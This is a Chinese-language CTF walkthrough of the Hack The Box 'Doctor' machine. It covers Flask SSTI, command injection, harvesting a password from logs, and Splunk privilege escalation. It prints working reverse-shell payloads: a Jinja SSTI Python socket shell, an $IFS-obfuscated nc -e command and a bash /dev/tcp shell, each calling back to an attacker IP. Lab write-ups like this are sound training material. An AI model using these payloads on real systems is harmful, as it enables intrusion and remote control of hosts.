靶机实战|htb-Doctor

admin 2022年4月29日00:09:44评论166 views字数 2180阅读7分16秒阅读模式

靶机描述

Doctor是htb中easy类型的一种靶机,主要考察点有ssti模板注入、命令注入、splunk本地提权等方面的知识点。

靶机实战|htb-Doctor



信息收集

  1. 端口扫描

    nmap -v -A -Pn -oG Doctor.nmap 10.10.10.209

靶机实战|htb-Doctor




    1. 目录扫描

      ffuf -u http://10.10.10.209 -w /usr/share/wordlist/fuzz/1.txt -t 10

靶机实战|htb-Doctor

  1. 网页信息收集

靶机实战|htb-Doctor


  1. 网站登录入口

    通过将10.10.10.209和域名进行绑定,再访问时发现跳转到了博客的登录系统,发现是flask搭建的博客系统。这里很容易想到ssti模板注入

    echo "10.10.10.209 doctors.htb" >> /etc/hotos

靶机实战|htb-Doctor


SSTI模板注入

ssti 模板注入是指服务端接收了攻击者的恶意输入以后,未进行任何处理就当成web的模板内容的一部分,再通过模板引擎去渲染(一般可以执行各种表达式),可以导致敏感信息泄露,恶意代码执行等等漏洞

  1. 判断方式

    根据报错

    大量的模版语言都是类似的,我们可以选择一些不常规的payload让其抛出异常,这样我们就能确定模版引擎甚至版本号;比如使用无效表达式<%=foobar%>给基于Ruby的ERB模版引擎解析时,就会抛出异常:

    (erb):1:in `': undefined local variable or method `foobar' for main:Object (NameError)
    from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
    from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
    from -e:4:in `'

    根据执行结果

    如果没有报错,就只能根据每个模版语言的特性来识别了,一种常见的方法是使用来自不同模板引擎的语法注入任意数学运算,根据返回的结果来判断


靶机实战|htb-Doctor


漏洞挖掘

ssti注入

通过登录网站之后在New Message中进行写入ssti的测试语句,再访问时发现没有执行,进行源码查看

靶机实战|htb-Doctor


靶机实战|htb-Doctor



访问注释的archive接口,发现在archive中被执行了,因为过段时间不登陆凭据就会被清理,因此在找到这个漏洞时就可以执行相应的命令

靶机实战|htb-Doctor



这里可以写于反弹shell的命令进行反弹,可以使用tplmap或者手动写入

{%
for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in
x.__name__
%}{{x()._module.__builtins__['__import__']('os').popen("python3 -c
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.32",1234)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash",
"-i"]);'").read().zfill(417)}}{%endif%}{% endfor %}

靶机实战|htb-Doctor


命令注入

通过nc监听端口发现有数据进行回传,并且执行了命令,发现是curl再进行数据的传输

tcpdump -ni tun0 icmp
nc -lvnp 80

靶机实战|htb-Doctor



可以尝试使用 curl+IFS的方式去反弹shell

$(nc.traditional$IFS-e$IFS'/bin/bash'$IFS'10.10.14.32'$IFS'80')

靶机实战|htb-Doctor



提权

通过反弹shell我们发现无法查看用户的flag,我们的权限还是太低因此我们需要得到一个机器的权限,通过id我们发现我们的权限是

web,因此我们可以读取日志,通过在日志中发现是否存在密码账户之类的信息。

靶机实战|htb-Doctor



shaun的账户密码

通过枚举post提交的方式查看是否存在密码泄露

grep -r passw . 2>/dev/null | grep 'POST'
grep -R -e 'password' /var/log/ | grep 'POST'

靶机实战|htb-Doctor



发现疑似密码

shaun:Guitar123

进行su 登录

靶机实战|htb-Doctor


Spluk 提权

在8090端口中发现存在spluk,google中找到了利用脚本SplunkWhisperer2

靶机实战|htb-Doctor


 python PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.32 --username shaun --password Guitar123 --payload "ping -c 1 10.10.14.32"

反弹shell

python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.6 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.32/2345 0>&1'"

靶机实战|htb-Doctor

参考

https://0xdf.gitlab.io/2021/02/06/htb-doctor.html#shell-as-root


原文始发于微信公众号(Haking水友攻防实验室):靶机实战|htb-Doctor

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月29日00:09:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机实战|htb-Doctorhttps://cn-sec.com/archives/960591.html

发表评论

匿名网友 填写信息